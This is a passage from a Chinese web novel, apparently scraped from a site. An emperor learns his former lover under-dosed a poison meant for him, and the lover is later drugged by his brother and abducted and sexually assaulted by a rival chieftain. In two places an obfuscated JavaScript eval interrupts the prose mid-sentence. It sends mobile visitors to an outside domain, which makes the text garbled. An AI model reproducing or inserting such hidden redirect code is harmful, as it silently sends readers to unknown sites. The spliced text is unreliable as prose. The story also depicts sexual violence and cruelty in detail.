他循着信中话语大步向着柜子走去,从小木匣中拿出了那玉瓶。 玉瓶入手形状圆润,轻盈小巧,可轻易环在手心之中,极好掩藏。 他的气息不自觉发沉,想起这个玉瓶的作用,手不自觉用力,几乎要将其摁碎。 他提着瓶身欲将其放至桌案上,却在移动之时倏然感觉到了什么,手上动作一顿。 他眉头紧蹙,缓缓捏起玉瓶贴近耳侧,微微晃动—— “沙沙——” 在玉瓶沉底之处,似是聚了一小部分微小的重量,传来如细小白砂般的晃动声。 李妄迟一愣,有些不可思议地又看了看信笺上的话语,提着瓶身的手顿住了。 他连忙去寻了一张宣纸将其叠成方格,捏着纸张将瓶口倾斜,颤抖地倒着玉瓶里的东西。 “沙沙——” 瓶中沙沙声愈发明晰,伴随着被倒出的动作,那一张小小的宣纸上竟聚集了如小丘般的细白粉末—— 竟有足足三分之一的剂量。 一刹那,一种让人不可思议的可能性闪过他的脑海,李妄迟顿在了原地,不住地发起抖来。 不自觉想到了三年前得知沈棠雪下毒的那一天。 那日正是宫宴,宫中洋溢着欢快的气息,他也早早做了准备,做了些好玩的物什,想给沈棠雪一个惊喜。 “吱呀——” 他轻车熟路地推门而入,语气轻快地扬着声调唤了一声,“阿雪?” 沈棠雪独自坐在床榻上,乌发散乱,脸色似是有些苍白,见他来,眼睫微颤,连手指都不由得蜷了蜷,看着他的目光有些躲闪。 他以为沈棠雪是病了,连忙快步上前去,担忧地用手背贴了贴他的额头, “可是病了?今日在屋中休息罢,我去喊太医——” 沈棠雪却轻轻拽住了他的袖子,摇了摇头,顺势勾住他的手指,缓声道:“我无事,走罢。” 阿雪那日端得寻常,却粘人得有些反常。像只小猫似的,神情和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036290|178699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动作之间若有似无地带了些眷恋。 他的心里软得一塌糊涂,只当阿雪病中迷糊。宴中也有询问数次叫他回去休息之时,却被他摇了摇头拒绝了。 沈棠雪笑了笑身子却在微小弧度地发着抖,强撑着…… 直到午时。 药房每日午时都会给他熬制些滋补的药,宫宴也不例外。到了时辰,药房便传来淡淡药香。 谁知沈棠雪听见喝药之事时,强撑一早上的脸色霎时变了。 他不自然地别过头去,微微猫起腰,有些虚弱地低声道:“……我有些腹痛,出去一趟。” “好。” 他连忙应了,以为阿雪当真不舒服得很了,只当他是回去休息。 没想到,半个时辰后,沈棠雪又折返回来了。 身上华贵的锦缎似是沾染了泥土,被几个细小的爪印扯皱。 沈棠雪走近时,身上带着幽幽的药香,让人觉着好闻又平静。 他不疑有他,瞧着沈棠雪逐渐有血色的脸时放下心来,将人揽入怀中。 沈棠雪顺势回抱住他,将侧颊靠在他的胸膛之上,疲惫地闭了闭眼。 再看向他时,眼神缱绻得过分。 后来,东窗事发。他看着那个死在药罐里被下毒的野猫,浑身发冷。 四周只有大气都不敢喘一声的众人和来去通报的侍人,都带着恐惧的眼神躲得远远的,生怕牵连到自己。 只他孤身于人群中央,带着警惕的冷意,心都沉得入底。 冥冥之中,他抬眼无意间对上了站在一旁的沈棠雪的视线。 沈棠雪孤身站在阴影之中,看着他的眼神晦暗不明。 那样复杂又幽深的眼神他从未见过,像一团微弱挣扎的火焰掉进无尽的黑暗冰窖。 幽沉沉的,紧紧跟随着他的身影。 像是对他…… 无声的告别。 第二日,沈棠雪于京城销声匿迹,那个捉摸不透的眼神被深深烙印在了他的心里。 他本以为是沈棠雪那个眼神是如释重负、得偿所愿。 可如今看到这些如小丘般的白色粉末时,他又看不懂了。 李妄迟闭了闭眼,当年被强压下的不对劲的细节又浮现脑海。 沈棠雪衣物上的猫爪印、周遭的药香、心不在焉的神情…… 当年如若沈棠雪后来去而不返,这事儿都查不到他头上。既然他有理由走,为什么还要再回来? 如今还剩余这么多的粉末没有被放入药中,又是为了什么? 李妄迟喉头一滚,霎时,一阵一种“沈棠雪可能并不想要他死”的想法浮现脑海。 他颤抖着指尖将宣纸上的粉末妥善安放好,缓缓往外走……向着太医院走去。 14. 第十四章 “陛下,此药确是为剧毒,但对用量极为讲究。如若是在药中投下您拿来的药量的两倍,只会叫人头晕目眩、呕吐不止,但不至于死去。” 李妄迟闭了闭眼,沙哑着声音问道:“如若将这两倍的药量给猫服用呢?” “猫确是会死,不过……如若要置人于死地,需这要药量的两倍过半才行。” 太医院早已屏退他人,如今屋中只余李妄迟与一位太医。太医话音刚落,殿内针落可闻。 沉默,无尽的沉默。 李妄迟眼睛瞬间通红,阴鸷的眼睛布满红血丝,紧紧地盯着那些白色粉末,呼吸逐渐粗重。 沈棠雪当年下的毒根本不够……他就没想让他死是不是? 是不是他根本就没想抛弃他……也没想害他? 直至今日……他才明白牢狱之中那些囚犯说的“叛徒”是什么意思。 沈棠雪本就是循着李锦殊的意愿来京城当卧底,却因着对他心软而暴露身份孤身回了草原。 数年的蛰伏……一朝化为乌有。 草原上的人、虎视眈眈的李锦殊怎么可能会咽下这口气? 想起沈棠雪如今苍白虚弱得只剩三个月的寿命的模样,他只有悔恨和无尽的懊恼。 真相早早就在他眼皮底下,如若他曾经没有逃避一般将这些东西封存,如若他念着旧情再回来看一眼…… 如今的结局也许真的会不一样。 李妄迟闭了闭眼,青筋暴起,指甲狠狠地嵌入掌肉,个中当年细节在脑海中盘旋。 沈棠雪当年再折返时,衣物上的爪印蹊跷,既然当年下毒之事有所隐情,那当年的野猫…… 会不会也和他有关? …… “吱呀——” 院门推开,皑皑冷气扑面而来,李妄迟有些恍然地看着,魂不守舍地走上前去。 却只看见一片空落落的雪白。 入眼的小院空无一人,连东西都被全数收拾走。屋内空空荡荡,一丁点儿熟悉的气息都没有。 宛若没人来过。 他的脑子空白了一瞬,沈棠雪三年前不告而别的恐慌席卷而来。 前几日他还看着沈棠雪遇袭中箭,听着太医说他只剩三个月寿命的话语,还看着他那般脆弱得要死去的模样…… 沈棠雪去哪了……会不会出了什么事? 他的指尖都在发颤,几乎有将禁军喊来将京城再翻个遍的想法,冷风吹得骇人,将他的指尖吹得都是冰的。 直到身体冻得发热,他有些浑浑噩噩的脑袋才缓缓反应过来…… 昨日谢将时凭着小院不安全为由将沈棠雪接走了。 谢家宅院离此地不算远,他这一颗心放了下去,一刻不停留转身向外走去。 此地戒备森严得多,门前侍卫利落地站在宅门两侧,将其保护得严严实实。宅院被打扫得干净利落,远远望去,花枝摇曳。 李妄迟还未走近,便看见了那个雪白色的身影。 沈棠雪乌发缓缓垂落在肩上,微微侧着身子似是在与侍卫交代着什么。 他的肩头搭着厚实的雪色绒毛披风,如轻盈的绣球花随风飘扬。 莹白微微泛粉的指尖隐隐约约地从袖中露出,显得极为漂亮的。 “沈棠雪……” 听见他的轻唤,沈棠雪缓缓转过身来。纤长的睫羽如蝶翼般扑闪着,眼神平静,看着他一言不发。 那样淡漠的眼神让李妄迟才组织好的语言又哽在了喉咙里。 李妄迟放软了声调,小心翼翼地上前两步想要去牵他的手,“阿雪……” 却被他避开了。 沈棠雪侧身站在一旁,丝毫没有靠近的意思,那一双眼里是他看不懂的神情,似还有一分嫌恶,随即转身欲走。 李妄迟顿时慌乱了一瞬,伸手抓住他的披风,生怕人跑了,一股脑地急急说道: “阿雪,阿雪——我知晓当年你减少下毒药量的事了!你……” “你不是早就知道了吗?” “……什么?” 冷不丁听到这个回答,李妄迟的脑子空白了一瞬。 他不知沈棠雪这笃定的论断从何而来,只能怔怔地看着他。 于冷风之中,他感觉沈棠雪的气息似比昨日又淡了许多,看着他的眼神波澜不惊,像被雪浸透了个满盈。 而于这双清泠泠的眼中,那皮肉底下被冬雪封存得冰冷的心似也早已被撕扯得鲜血淋漓。 沈棠雪同样看着他便想起那一日的歇斯底里。 被人强硬地禁锢着将心头深处最不愿意诉说的往事血淋淋地挖出来的时候;将那些草原的狼狈毫无保留地展示在他面前的时候…… 一切尊严都化作乌有,一切难言的狼狈无所遁形。 如今这副模样又算什么,装傻充愣就想糊弄过去了? 一股荒谬之意油然而生,他只觉得自嘲得可笑。沈棠雪疲倦地将披风从李妄迟手中抽出,毫不留情地转身离去。 没想到却迎面见着了谢将时。 谢将时不知何时来的,站在小院之中,双眸在他们二人之中流转。 他的眼神有些复杂,张了张口,似是想要说些什么,却欲言又止。 沈棠雪脚步一停,本想着再怎样也应停下来寒暄两句的。 却在看着谢将时眼神中的犹豫和劝解时,一股疲倦涌上心头。 他头一次径直走了,与谢将时擦肩而过,衣袂都利落。 入院去,庭中花枝摇曳,侍人于其中嬉笑怒骂,笑闹声不断。沈棠雪并未驻足,径直回了整理得齐整的小屋。 他紧绷着身子推门而入,直至一阵熟悉的气息扑面而来,他才放松了几分。 他闭了闭眼,半靠在桌案上,呼吸一浅一深,情绪波动后的指尖有些颤抖。 一阵汹涌的血气涌上喉咙,他眉头微蹙微微仰起头来,放松呼吸,却不敌血气蔓延的架势。 半晌,他颤了颤眼睫,按着脖颈猛地躬身吐出一口血来。 星星点点的鲜红血迹滴滴答答洒落在木地板上,显得极为刺眼,沈棠雪的眉眼间皆是疲惫,肉眼可见地虚弱下去。 这几日……确是愈发虚弱了。 当年断裂的经脉隐隐作痛,阵痛徐徐蔓延到指尖,像毒蛇吸食一般贪婪地吞噬着他的生气,叫他脑袋发 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沈棠雪一顿,顺着人群咒骂的话语望去,见着了在覆了一层薄雪的街道中滚动的几辆带血的囚车。 囚车上的熟悉面容衣襟上的血痂都被落雪挂得有些结冰,狼狈地粘黏着。 他们或面如死灰,或面带激愤,狼狈地面对着四面扔来的臭鸡蛋和菜叶,躲也躲不了,只好怒目而视地环视四周,仍带着不甘心的狡辩, “错的不是我们,是李锦殊!该死的是他!” “你们又是什么好东西?推脱什么!李锦殊在两个月后问斩,他也跑不了!” 囚犯被气得一噎,脸色一阵青一阵白,“你们这些贱民——” 紧接着是一段污言秽语,他破口大骂,像是要把在牢狱中受的气全数发泄出来。 却又被群情激奋的百姓对骂回去, “马上就要被杀头了还这么狂妄——这些龌龊话留着下去跟阎王说去吧!” “嘴这么脏,上辈子吃屎了呢吧!” “他娘的——” 那囚犯被臭鸡蛋扔了一脸,本就灰头土脸的模样更显狰狞。他气不打一处来,面带怒意地环视一圈—— 却在人群中发现了沈棠雪的身影。 他猛地睁大了眼,“沈、棠、雪……那个叛徒怎么也在这!” 他的话语引起了其他人的注意,他们齐刷刷地顺着他的视线望去,在看到沈棠雪时,面上皆露出了咬牙切齿的恨意。 沈棠雪怎么敢来……他怎么敢来看他们的笑话! 如若不是他,他们怎会落得如此下场!任这些贱民打骂……马上要落得尸首分离的结局! 凭什么他们被李妄迟戏耍、提心吊胆,在那不见天日的地牢里关了一日又一日,背叛者却过得这般逍遥自在? 最该死的人明明是他才对! 霎时无数双带着吃人般恨意的眼睛向着沈棠雪望去。 泛起一丝如梦魇般的冷意。 15. 第十五章 沈棠雪瞳孔微缩,纵使做好准备了,也还是被那一双双饱含恨意的眼神紧盯得头皮发麻。 “是你让李妄迟来狱中杀人的是不是——捉弄我们很好玩吗?臭婊子!” “你这个叛徒才最应去死!都是因为你!” 他袖中的手攥紧,听着无数夹杂着怒意的咒骂涌入耳中,连指甲都嵌入掌肉,几欲要扣出血来。 当年在草原的时候,这群人也是这般讥讽、不屑、带着怒意打骂。 谈笑间又带着一丝孤注一掷的希冀,怀着觊觎京城的龌龊事。 野蛮又可笑……让人看着都反胃。 他们本就不是一类人。 “沈太傅也在这?” 周围人群的窸窣疑惑声响起,叫沈棠雪回过神来。 见着他们四处张望的目光,他暗暗拉紧面帘,退后藏于人群深处,敛下神情。 “在哪呢在哪呢?也是——今日是他昔日同僚斩首之日,他当年叛逃至草原,想必也是对这些人当是感情深厚的。” “是啊,他虽逃过一劫,也会来看看罢!” “倒是这个理……不过为何这些囚犯面目狰狞?好似对他深恶痛绝似的。” “谁知道呢……” 昔日同僚…… 感情深厚? 沈棠雪轻嘲地笑了一声,于面帘下敛着的眼神中泛起一丝冷意。 眼下车轮还在移动,离刑场越来越近,他顺着人群向前,眼神愈发凝定。 “咔嚓。”“哗啦——哗啦——” 铁锁被打开,拉扯之时引起禁锢手腕的铁链晃动,一个个囚犯被侍卫用力地一推,狼狈踉跄两步。 “走快点!” “别磨蹭!快点!” 他们摁着前往被深红鲜血染红的断头台,台阶一步一步,看着刽子手提着泛着冷光的刀站在位置上时,无可避免地露了怯。 “别杀我——别杀我!” “我错了、我错了!我不要死……我不要死!” 尖利的语调哆哆嗦嗦的,像是从许久不说话的嘶哑嗓音里挤出来的,猝不及防地破了音,难听得人发笑。 曾经一个个狂妄得不可一世的人,如今充满着恐惧与讨好地看着面前掌握着他们性命的人,连尊严也不要…… 原来他们也会露怯。 原来他们也会害怕。 沈棠雪闭了闭眼,仿若紧紧悬在头顶的阴影终于卸下了一分。 直至如今,他才终于有了这些人要死了的实感。 “现在知道怕了——当初杀戮百姓的时候怎么不说!想要攻占京城的时候怎么不说!” “就是啊!如若不是陛下,如今恐怕尸横遍野,是他们的天下了!” 百姓冷嘲热讽,对他们的恐惧无动于衷,反而嫌不够解气似的落井下石, “时辰什么时候到啊?杀了他们!” 此时时辰也到,随着他们的话语,刽子手举起刀刃,激起一阵欢快来。 他们尖刃上的血迹像是助兴剂,惹得人群欢呼。沈棠雪颤了颤眼睫,随之抬起眼,也同样看向断头台。 “斩——” 随着令牌一声落下,一声戛然而止的尖叫响起,一颗颗人头落地。 “咣当——” 沈棠雪条件反射地闭了闭眼,睫羽颤动得厉害。 于周遭拥挤的呼吸中,他感觉刑场上的血好似隔着人群也喷溅到了他的脸上,热得发烫。 一股难言的压抑顺着喉咙遏制住了他的呼吸,叫他几乎要喘不过气来。 ……之后耳边的话,他一句都听不进去了。 …… “过来。” 眼前画面深深浅浅,熟悉的阴沉语调似在耳边,沈棠雪颤了颤眼睫,睁不开眼,只能被迫地顺着记忆中的模样往前走去。 ……是他刚回草原的时候。 眼前的场景与记忆中无二,李锦殊站在草原的尽头似笑非笑地看着他。 背后是熟悉的地方,绿草青青随风摇曳,他却觉着阴冷。 他僵硬着脚步,心有不愿本能地不想向前,却被李锦殊一把抓住,轻而易举地揽入怀中。 “阿雪……” 冰冷如毒蛇般的吐息喷在他的颈侧,烫热的手揽在他的腰侧。 沈棠雪不自觉打了个哆嗦,心生警觉侧眼望去。 余光之中,李锦殊微微侧着头,一双眼若有似无地上下打量着他。半晌他轻笑一声,倾身凑近他的耳边,说的却是—— “我的探子看到你了。” 沈棠雪顿时僵住了身子,连呼吸都要停滞。 李锦殊瞧着他这副模样凑得更近,漫不经心地伸手揉上他的耳垂,轻轻摩挲着, “你为了他安排那只野猫……就这么不想要他死,为此甘愿将自己的两条后路都断送?” “我……” “阿雪……没想到你会动真心啊。” 这句话像是喟叹般的审判,沈棠雪心头一沉。 纵然猜到李锦殊知晓此事之后不会给他好过,还是不免紧张得攥起指尖,闭上了眼。 他的五指紧攥得发白,淡粉的唇紧张地微抿着,连呼吸都在发着颤。 半晌,像是终于认了木已成舟的事实,如接受审判一般指尖微松。 李锦殊见着他这副模样,本压着眼皮饶有兴味看着他的眼神瞬间敛了下去。 他的眼神幽寒,打量了沈棠雪很久很久,久到有些发沉。半晌,终于开口, “……进去吧,你兄长在帐内等你。” 沈棠雪猛地睁开眼,看向他的眼神中还带着一丝诧异和迷茫,没想到他这般轻易便放过了他。 他如释重负地松了肩头,不给他反悔的机会,连忙逃也似的快步往帐内走去。 却没看见李锦殊看着他背影离去时幽沉的眼神。 …… “嘭。” 茶杯被放至桌案,帐内人端坐在蒲团上,面前热茶升腾的雾气将他的神情照得隐隐绰绰。 沈棠雪一进帐,就被那一双锐利的眼睛瞥得一激灵。 他很忐忑地抿了抿唇,小步上前去跪坐在那人对面,像个做错事的孩子一般主动给他添茶, “哥,我回来了。” 他不知道沈从陵知晓多少京城之事,缓缓抬眼小心地端详着沈从陵的神情。 可沈从陵面容平淡,没给他几分探寻的机会,只是淡漠地瞥他一眼,“最新的情报带回来了吗?” “嗯。”沈棠雪只乖巧应了。 “王上交代你的事做了吗?” “……嗯。” 沈棠雪藏在桌案下的手有些冒汗,不知他知晓多少,也生怕他再问,连眼神都有些躲闪。 沈从陵又看他一眼,似是察觉到什么,没再发问,“喝茶吧。” 沈棠雪微不可察地松了一口气,乖巧地拿起徐徐冒着热气的铃铛杯一口一口细细抿着,时不时用眼睛小心地望他。 三年不见,二人多少有些生疏。 离京之前 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沈从陵端坐时的手不紧不慢地在桌案上绕圈,指甲却有些焦躁的剐蹭。 若有似无暗暗打量他时,眼神中闪过一丝不耐。 像是在……等些什么。 他下意识想开口去问,可又怕话语之间再牵扯出其他什么来。他于心有愧,最终只干笑着等。 可时间不知流逝多久,那目光愈来愈频繁。 帐内的温度似都被热茶的雾气包围,升腾得叫人头晕。 沈棠雪烦躁地别过脸,感觉嗓间一股发痒的沙哑之意油然而生,眼尾都染上一层薄红。 他终于有些坐立不安,忍不住问道:“哥,你在看什……” 下一秒话语却戛然而止,他忽觉一阵头晕目眩。 一阵突如其来的汹涌晕眩席卷了脑袋,沈棠雪紧紧闭了闭眼,冷汗不可控制地冒了下来,纤长五指扶在桌案上的动作都愈发用力…… 他喉头一滚,忍住喉间的一声闷哼。 视觉被封闭,听觉愈发明晰。半晌,耳边响起不紧不慢向他走来的脚步声,似还带着一声讥讽的冷笑。 面前人居高临下地望着他,眼神之中闪过一丝阴冷。 沈棠雪茫然地抬起眼,只觉这张熟悉的面容好似化作会吃人的罗刹,看着他的神情狰狞可怖。 他心起荒谬之意,忍着眩晕看向面前的人,颤抖地喊道:“哥……” 沈从陵不为所动,启唇道:“你这个叛徒。” 沈棠雪的身形霎时僵住了,猛地睁大了眼,颤抖的瞳孔之中倒映出他幽沉淡漠的眼神。 兄长知晓了?那他方才……? 他有些不可置信地转头望去,看着差点随着动作被打翻的茶水,一阵不可思议涌上心头。 头晕目眩愈发强烈,好似在宣告着他的猜想落到实处。 重锤狠狠地砸在了心上。 他的身子颤动得厉害,随着药效发作,浑身气力仿若被抽完。他想要起身,却一次次跌坐在原地。 像个狼狈的小丑。 沈棠雪的力气都被抽了个干净,泛着水光的眼神渐渐涣散,不知是难过还是焦急的泪。 “哥……” 可于他身前,沈从陵垂着一双冰冷的眼睛不为所动,只启唇道: “背叛之人,合该得到应有的报应。” 他用贯穿始终的这句话,将他拉入最后的深渊。 16. 第十六章 “叮铃——” 微风拂过,风铃轻晃,帐内的辉煌陈设都被收入眼中。幽香扑鼻,昭示着帐中之人的位高权重。 分明是这般奢靡景象,刚睁眼看见的沈棠雪却觉得浑身发冷…… 霎时反应过来这是哪里。 他瞬间打了一激灵,似是想到了什么利落起身,不顾太阳穴的隐隐作痛往外走去。 下一秒却被一只烫热的大手抓住了手腕,禁锢在了原地。 那人环住他手腕的灼热温度几乎要让他的皮肤都烧起来,带着后脑勺传来的饶有兴味的灼灼视线,不容忽视。 沈棠雪身形一颤,硬着头皮往后望去,对上了李锦殊那一双带着笑意的眼睛。 李锦殊笑着撑着头,泰然自若地看着他,不紧不慢地唤了他一声,“阿雪。” 沈棠雪顿时头皮发麻,怒喝道:“放开我!” 李锦殊不为所动,笑意不减地用指腹在他的腕间摩挲,“做什么,一见我就要跑?” 沈棠雪冷眼看他,知晓他在揣着明白装糊涂。 他一醒便觉四肢绵软无力、呼吸短促,从不离身的剑也不翼而飞,眼下是何情景不言而喻。 他还真当李锦殊这般好心,昨日就轻易放过了他。如今看来……不过是在让他放松警惕罢了…… 他气得咬牙,语气却笃定,“你让我兄长在茶水里放东西了。” 李锦殊歪了歪头,并未开脱,“那又如何?” “无耻……” 沈棠雪用力地将要抽出被他抓握着的手腕,一面往外望,不动声色地找逃出的机会。 于帐外门缝处,似有一道熟悉的鞋尖若隐若现。 他心起希冀,趁着李锦殊不备,猛地一把推开他赤着脚跑出去, “哥——哥!” 门帘随风飘起,他看着熟悉的面容顿时松了一口气,一把紧紧地抓住沈从陵的手就要带着他往外走去, “哥,哥!我们走——哥……” 却对上了一双熟悉的冰冷的眼。 那双眼漠然得幽幽,看向他的眼神像在看一个陌生人,沈棠雪的心顿时咯噔一声沉了下去。 沈从陵并未顺着他的动作,而是没有留力地抓着他的衣襟用力将他往帐内推搡得踉跄两步—— 将他推得怔在了原地。 沈从陵冰冷地看着他,启唇道:“进去。” 沈棠雪如坠冰窖,几乎要挪不动脚步,却仍存着最后一丝希冀,硬着头皮上前抓住他的手哀求, “我不,我不……哥,哥——” 可沈从陵只是冷眼看他半晌,缓缓转动眼珠看向他身后之人。 沈棠雪顿时心头咯噔一声,脊背汗毛竖立。 下一秒,一股黏腻的触感抓握上他的脚腕,沈棠雪身形一歪,狠狠地砸在了门边的墙面上。 “嘭!” 他瞬间跌落在地,被人拖拽着向后去。 他脑袋发晕,却像是不知痛似的红着眼用指尖狠狠地扣入地面,紧紧盯着那个转眼离去的人影。 从眼尾落下一滴泪来。 直至被李锦殊狠狠地扔到床上,整个身子发出嘭的巨大声响时,他都还未回过神来,只是将自己蜷缩成一团发起抖。 不可置信兄长就这么把他送到李锦殊床上。 兄长……不是对他最好,不是说会永远护着他吗? 如今是为了什么……为了自保?可他们漂泊无依的时候哪里去不得?为何又非要待在草原里了? 他不明白。 他连无助的哽咽都压抑在喉咙里,身子痛苦得发颤。 直至李锦殊将他的脸从膝弯里挖出来,捏起他的下巴,他才有一种被迫直面现实的感觉。 侵略性极强的温热的鼻息喷在他的颈侧,沈棠雪睫羽微颤,不自觉打了个激灵。 他颤着声强迫自己镇定下来与李锦殊对峙,“我给你这么多情报……你答应的……” 可李锦殊看着他的眼神更为幽深。 他那语调断断续续,哽咽的尾音有说不出的绵软,连那一双泛着水光的眼睛也勾人得紧…… 可沈棠雪不懂他的眼神。 他只是在想明明当年李锦殊承诺过,将京城的情报全数递来就予自己和兄长很好的生活,他这三年也从来听话…… 他只是做错了这一件事,凭什么……凭什么这一切都不算数了? “是么?” 李锦殊似是疑惑地想了一想,又笑意渐深,“可是阿雪打乱了我的计划,不应该有惩罚么?” “你凭什么跟我要承诺?” 像是心头被重锤狠狠敲击,沈棠雪顿时睫羽一颤,不可思议地抬眼看他。 一种不好的预感涌上心头,他的呼吸颤抖,狠狠地往后躲去,却被李锦殊禁锢住了双手。 李锦殊轻而易举地倾身上来,不容拒绝地吻上他的唇瓣。细细密密的吻如同暴风雨般袭来,将他的气息都牢牢掌控。 沈棠雪被迫仰起雪白的长颈迎合,嗓子却发出苦痛的哽咽, “滚啊……给我滚!” 他被卸了气力,身子绵软推也推不开,只是指尖发颤地绞着被褥,颤抖地呼吸着发出难言的呜咽声。 不知过了多久,他颤抖地别过脸去流泪。 如蝶翼般扑闪的纤长睫羽上挂了细小的泪珠,被亲得发红的唇瓣被他紧紧抿着。 沈棠雪闭眼,晶莹的泪珠就顺着面颊流下。 李锦殊沉默地凑近,将指腹蹭上他的侧颊,轻柔地拭去他的泪水,缓声问道: “就这么讨厌我?” 沈棠雪沉默片刻,抬起那双湿润的眼睛朝他望去,眼里只有发狠的恨意。 李锦殊瞬间敛了夹杂着一丝温柔的眼神,连动作都停在原地,阴沉着脸看了他许久。随后作势要去解他的衣襟。 没想到方才还算温顺的沈棠雪骤然发狠起来。 沈棠雪的呼吸粗重,用力地抵抗着他的手,青筋暴起的五指在他手背上抓出红痕,如被逼到绝路的小兽,嘶吼道: “滚……你给我滚!” 李锦殊眼神沉沉的没有任何笑意,“怎么,要为他守身如玉?” 沈棠雪不答,阴狠地看着他,呼吸却是颤抖地一滞。 李锦殊定定看着他,冷笑一声, “你在这因着他如坠地狱,他在想什么?他在想你给他下毒,又毫不留情地弃他而去,恨都恨死你了!” “你究竟图什么啊……沈棠雪。” 沈棠雪挣扎的眼神闪过一丝迷茫,通红的眼睛睫羽轻颤,随即又闪过一丝苦痛。 李锦殊的面色阴沉如水,不再与他多说什么,用那只被他抓出血痕的手用力地攥着他的右手手腕,将其拉至自己的身前。 细嫩的手腕被抓握出斑驳的红痕来,他漠然地看了一眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16036293|178699||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷笑一声,毫无怜惜地用指甲掐入腕间一摁—— 沈棠雪顿时不受控制地打了个激灵。 痛楚一阵一阵涌上脑髓,他的身子颤得厉害,忍不住仰起雪白的长颈,发出一声隐忍般的痛呼。 拿剑的右手无力地垂落下来,他的小脸面无血色,呼吸气若游丝。 指尖还在发着颤,睫羽不受控制地迷茫颤动着。 李锦殊如恶魔般凑近,阴鸷的眼神闪过一丝可怖, “是什么让你生出逆反之心的……是这只让你握剑自保的手吗?” “还是你那觉着李妄迟可以护着你的心?” “你凭什么忤逆我——嗯?” 他的语气带着嗜血般的残忍,掐着沈棠雪手腕的力度愈来愈重。 直至听到皮肉被刺破的声音,他才觉得痛快。 蜿蜒的血流顺着雪白的手腕流下,绕到颤动的指尖,发出滴答滴答的声音。 沈棠雪低垂着头,没有任何反应。 他的眼神已然涣散得紧,湿润的睫羽颤动,身子不住地痛得发抖,也不知是否听清楚了,只是嗓间发出细小的哼哼。 李锦殊端详着他这副模样,竟残忍地觉得有种乖觉的可爱,愉悦地微眯起眼来,捏起他的下巴凑上前去。 予以一触即分的一吻。 大手环着他雪白的脖颈一路向下,将脖颈按压出红痕,锁骨也按压出红痕。 沈棠雪被烫热得身子都要烧起来的温度激得颤了一下又一下。 他的指尖颤动得厉害,可是无力反抗,只能嗓子发哑地挣扎着哭, “哥哥……兄长……李妄……唔!” 李锦殊在听见名字时就伸手紧紧地捂住了他的嘴,面色阴沉地看着他, 他的眼神阴森森的,捏着沈棠雪的双腮的力度骤然加重。 动作更加不留情面。 沈棠雪被扼制住的气息都变得虚弱,喘息都变得急促,只剩那一双漂亮眼睛还默默流泪。 他的呼吸轻微地发颤,像濒死的天鹅一般,被迫靠在李锦殊脖颈间时,尾音还带着勾人的绵软, “我不要你……我讨厌你……” 可是毫无作用,一个脆弱无依的人只能被迫指尖绞着被褥直到发白…… 将闷哼都藏进嗓子眼里。 …… 逃出来时已经不知什么时候了,沈棠雪的脸颊毫无血色,跌跌撞撞地走出帐内。 他颤抖着手随意拿着纱布包扎自己的腕间,垂眸看着伤口已然结痂的模样。 鲜红的一片于雪白的手腕之中显得十分扎眼,手臂之上还有青青紫紫的斑驳痕迹。 他像是刺痛一般别过脸去,忍不住吸了吸鼻子,将手臂严实地藏入袖子里。 四周草原一片茫茫,他不知道自己要去哪里,也不知道自己能去哪里。 但……去哪里都好,不留在这里就好。 他想起噩梦一般的这些时日,连嗓间都带着几乎要抑制不住的哭腔,身子颤得厉害。 他茫然地环视一圈,像寻求安全感一般迫切地找了个木棍当作利剑紧紧地握在手里。 木棍凹凸不平,还带着锐利的尖刺,他却恍然不觉,连枝干的尖刺刺入掌心也不知道。 只是本能地寻找自己的生机,紧绷着身子麻木向前走。 恰好也在视线所及之处—— 看见了一个还算熟悉的人。 17. 第十七章 “沈棠雪,你要往哪去?” 那人站在帐边疑惑地转眼看他,见他神色不对,朝他快步走来。 沈棠雪悄然抓着木棍的指尖都在发颤,暗自警惕着,他的眼神迟缓,定定地看着那人,没有立即回答。 京城之事……李锦殊应当没有告诉他们。 他是去卧底之后最能接近李妄迟之人,被报以厚望,却在最后一步时主动暴露身份叛变,引起李妄迟的警惕。 这些年他们潜伏于云州,就等着杯底抽薪、京城大乱的这一刻。而他却主动添了一把火,打乱了计划。 李锦殊若再想故技重施取他性命,恐怕难了。 如今京城警戒,李妄迟不再无所准备,李锦殊再想谋反,无疑增添了许多难度,难上加难。 若让草原其他人知晓此事,会恐慌的。 沈棠雪默默想着,暗暗端详着面前的人。此人在三年前是李锦殊手下小将的一名侍卫,与他也算相熟。 虽不知此人如今坐到了哪个位置,但瞧着对他神色无异的姿态…… 应当不知个中内情,不会出卖。 他努力地提了提唇角,扯出一个笑来,干哑着嗓子胡诌道:“我……我要去风城。” 那人疑惑问道:“你不是刚从京城回来么?李锦殊怎的这般,才回来几日又要风尘仆仆地派你走?” 沈棠雪太憔悴了,笑意都显得像哭。他自己都不知晓能将笑意维持多久,经得住他问几回,只一概地糊弄道: “王上的主意,我不懂。” 李锦殊的命令他们一向不会过问,果不其然,那人听了也是点了点头,不再追问。 他暗暗松了一口气,目送那人走远,心脏怦怦直跳。 他并未停留,紧绷着身子拔腿就跑,一刻未曾停歇。 云州旁边有个小镇,介于草原与京城管辖之间,其中有许多官员与京城关系紧密,李锦殊不会轻易动手。 他去那里是再合适不过。 沈棠雪去驿站之中租了一匹马,快马加鞭不眠不休地赶了三日,期间精神紧绷、腕间伤口开裂也不管。 直至并不熟悉的方言入耳,他才逐渐缓缓松了肩头,长长地舒出了一口气。 “这是京城新时兴的衣裳,来看看咯——” 